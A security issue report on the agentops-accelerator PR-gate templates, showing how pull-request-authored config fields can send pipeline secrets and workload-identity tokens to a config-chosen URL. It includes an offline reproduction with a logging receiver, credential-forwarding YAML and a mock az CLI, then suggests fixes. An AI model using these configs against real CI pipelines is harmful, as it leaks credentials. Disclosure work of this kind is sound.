PR-gate templates honor PR-authored config for credential-bearing destinations (agent: URL / project_endpoint / auth_header_env) #499

Summary

agentops workflow generate emits a pull-request evaluation gate (GitHub Actions and Azure DevOps variants; the templates ship inside the agentops-accelerator wheel, rendered with the version pin, e.g. agentops-accelerator[cockpit]==0.15.1). The rendered gate authenticates the pipeline identity first and then executes the pull request's own agentops.yaml:

• GitHub: on: pull_request, permissions: id-token: write, environment: dev, azure/login@v3 from vars.*, then agentops eval run --config "${{ inputs.config || 'agentops.yaml' }}" on the PR merge ref
• ADO: pr: trigger with the eval wrapped in task: AzureCLI@2 (service connection): agentops eval run --config "$(AGENTOPS_CONFIG)"

The eval runners treat three fields of that PR-authored config as credential-destination selectors — the config chooses both the credential (an environment-variable name) and the destination (a URL), with no host allowlist on the destination side and no env-var-name denylist on the credential side:

Both credential-forwarding paths reproduce end-to-end on the released wheel, fully offline (a receiver bound to 127.0.0.1 and a mock az emitting marker tokens) — commands and observed output below. Config parsing itself is safe (ruamel typ="safe"; no deserialization or shell-injection leg was found); the issue is confined to credential-destination selection.

Reproduction (offline, ~10 minutes)

Tested against the PyPI release agentops-accelerator==0.15.1 on Windows (Git Bash + CPython 3.12); Linux equivalents noted where the path differs (venv/bin/python, venv/bin/agentops). No real Azure endpoint, repository, or pipeline is contacted: the receiver binds 127.0.0.1 only, the mock az performs no network I/O and emits marker tokens, and every HTTP target is 127.0.0.1.

0. Install the shipped CLI

export BASE=/d/Temp/agentops-repro
mkdir -p "$BASE" && cd "$BASE"
python -m venv venv
venv/Scripts/python.exe -m pip install agentops-accelerator==0.15.1
venv/Scripts/python.exe -m pip show agentops-accelerator | head -2

Expected: Name: agentops-accelerator / Version: 0.15.1.

1. Receiver (destination stand-in; binds 127.0.0.1 only) — save as recv.py

import json
from http.server import BaseHTTPRequestHandler, HTTPServer
LOG = "recv.log"
class Handler(BaseHTTPRequestHandler):
    def _serve(self):
        length = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(length).decode("utf-8", "replace") if length else ""
        record = {"path": self.path, "method": self.command,
                  "headers": {k: v for k, v in self.headers.items()},
                  "body": body[:2000]}
        with open(LOG, "a", encoding="utf-8") as h:
            h.write(json.dumps(record, indent=2) + "\n---\n")
        if "/openai/v1/responses" in self.path:
            payload = {"id": "resp_mock", "object": "response", "status": "completed",
                       "output": [{"type": "message", "role": "assistant",
                                   "content": [{"type": "output_text", "text": "mock target reply"}]}]}
        else:
            payload = {"response": "mock target reply"}
        enc = json.dumps(payload).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(enc)))
        self.end_headers()
        self.wfile.write(enc)
    do_GET = _serve
    do_POST = _serve
    def log_message(self, *a): pass
HTTPServer(("127.0.0.1", 8901), Handler).serve_forever()

Run it in a second terminal: venv/Scripts/python.exe recv.py &

2. Path A — an environment-variable value delivered as a bearer to the config-chosen URL

$BASE/ws-httpjson/agentops.yaml:

version: 1
agent: http://127.0.0.1:8901/collect
protocol: http-json
dataset: dataset.jsonl
auth_header_env: VICTIM_PIPELINE_SECRET

dataset.jsonl (one line): {"input": "evaluation row one", "expected": "anything"}

Run the gate's eval step (VICTIM_PIPELINE_SECRET stands for any value present in the job environment — in a real pull_request job, GITHUB_TOKEN is present in every run: step, so auth_header_env: GITHUB_TOKEN reads it directly):

cd "$BASE/ws-httpjson"
VICTIM_PIPELINE_SECRET=SUPERSECRET-PIPELINE-TOKEN-123 \
AZURE_OPENAI_ENDPOINT=http://127.0.0.1:8901 \
AZURE_OPENAI_DEPLOYMENT=gpt-4o-mini \
venv/Scripts/agentops.exe eval run --config agentops.yaml

Observed CLI tail: Loaded 1 row(s) from dataset.jsonl; running 5 evaluator(s) against http endpoint: http://127.0.0.1:8901/collect. then [1/1] invoking target: 'evaluation row one' / [1/1] replied in 0.10s (0 tool call(s)); scoring...

Observed in recv.log (POST /collect): "Authorization": "Bearer SUPERSECRET-PIPELINE-TOKEN-123" — the config-named environment variable's value delivered to the config-named URL.

3. Negative control

Delete only the auth_header_env line and change the agent: URL path to /collect-nc (so the log entries are distinguishable), re-run step 2. Observed in recv.log (POST /collect-nc): the same request shape with no Authorization header present. One config field is the only difference between the two runs.

4. Path B — the workload-identity token delivered to the config-chosen endpoint

$BASE/mockbin/az.cmd (mock az; sh equivalent is one echo of the same JSON line):

@echo off
echo {"accessToken": "MARKER-PIPELINE-ENTRA-TOKEN", "expiresOn": "2099-01-01 00:00:00.000000", "subscription": "00000000-0000-0000-0000-000000000000", "tenant": "11111111-1111-1111-1111-111111111111", "tokenType": "Bearer"}

$BASE/ws-foundry/agentops.yaml:

version: 1
agent: "bot:1"
project_endpoint: http://127.0.0.1:8901/api/projects/p
dataset: dataset.jsonl
execution: local

Run with the trusted environment variable present (the workflow injects it from repo configuration variables):

cd "$BASE/ws-foundry"
PATH="$BASE/mockbin:$PATH" \
AZURE_OPENAI_ENDPOINT=http://127.0.0.1:8901 \
AZURE_OPENAI_DEPLOYMENT=gpt-4o-mini \
venv/Scripts/agentops.exe eval run --config agentops.yaml

Observed CLI tail: Loaded 1 row(s); running 5 evaluator(s) against foundry agent: bot:1.

Observed in recv.log (POST /api/projects/p/openai/v1/responses): "Authorization": "Bearer MARKER-PIPELINE-ENTRA-TOKEN" — the credential chain's token (DefaultAzureCredential → the az CLI credential, i.e. the azure/login identity in the real gate) attached to the config-chosen host and path, overriding the trusted AZURE_AI_FOUNDRY_PROJECT_ENDPOINT. With project_endpoint removed, the token goes only to the trusted environment destination. The same token is additionally observable on the judge-path request (user-agent: azure-ai-evaluation/1.18.5).

All credential-looking strings above are locally planted markers; nothing leaves the machine.

Where this matters (and where it does not)

Stating the platform behavior upfront, because it bounds the ask:

• GitHub fork PRs (default settings): the Entra-token path does not fire. id-token: write is downgraded on fork pull_request runs (read is not a valid level for id-token; there is no difference between read and none), so azure/login@v3 cannot mint the OIDC JWT — and the shipped template's login step precedes the eval step, so the job aborts before eval. What survives on fork runs is the read-only GITHUB_TOKEN (Path A), which for public repositories exposes nothing the PR author cannot already read.
• GitHub same-repo PRs / ADO source-branch PRs (default settings): a contributor who can author agentops.yaml in their PR can equally author the workflow/pipeline YAML that runs on that same PR — GitHub pull_request runs the workflow file from the PR's merge commit, and ADO PR triggers use the pipeline version from the source branch. For those principals the config field is a quieter route to a credential reach they already hold through the coarser path, not a new capability. This issue is a hardening request, not a claim of a default-settings privilege escalation.
• The gap that is real: pipelines that deliberately restrict YAML authorship — CODEOWNERS on .github/workflows/ with branch protection on GitHub; protected-YAML, template checks, or queue restrictions on ADO. Those controls exist precisely so contributor-authored YAML does not execute with the pipeline's credentials; agentops.yaml is then an unguarded second authorship surface that reaches the same credential-destination selectors without touching the protected YAML. For a branch-push principal under those controls, the config fields are a genuine capability delta — the workload-identity token and job environment values become reachable from a file the control does not cover.

The fix ask is the same in every cell: PR-authored config should not choose credential destinations in CI.

Suggested fix

1. In CI (PR) contexts, do not honor agent:, project_endpoint, or auth_header_env (and the sibling auth_header_name / auth_value_template) values that arrive from PR-authored config — destination hosts and credential variable names should come from trusted repository/organization configuration variables only, or require explicit maintainer approval before use.
2. Make the trusted environment variable win over config for project_endpoint: when the workflow injects AZURE_AI_FOUNDRY_PROJECT_ENDPOINT, the config value should not override it (or validate the config value against the provisioned Foundry project hostname), so the login-minted token can only reach the provisioned project.
3. Treat agent: / project_endpoint values from PR context as untrusted input: validate scheme and host against an allowlist before any credential attaches.
4. Assert leg (agentops/services/assert_runner.py:147-161, 224-249): a config-settable assert.env.AZURE_API_BASE both steers the subprocess API base and gates the mint of a cognitiveservices-scoped token into that subprocess's environment — gate the mint on a validated base rather than on the config-influenced entry.

Affected versions

agentops-accelerator 0.15.1 (PyPI, current release at filing; wheel sha256 61f6927e...4a9c7; agentops/pipeline/invocations.py and agentops/services/assert_runner.py in the wheel are sha256-equal to repository main 0566d1e at filing). Both the GitHub Actions and Azure DevOps template variants are affected.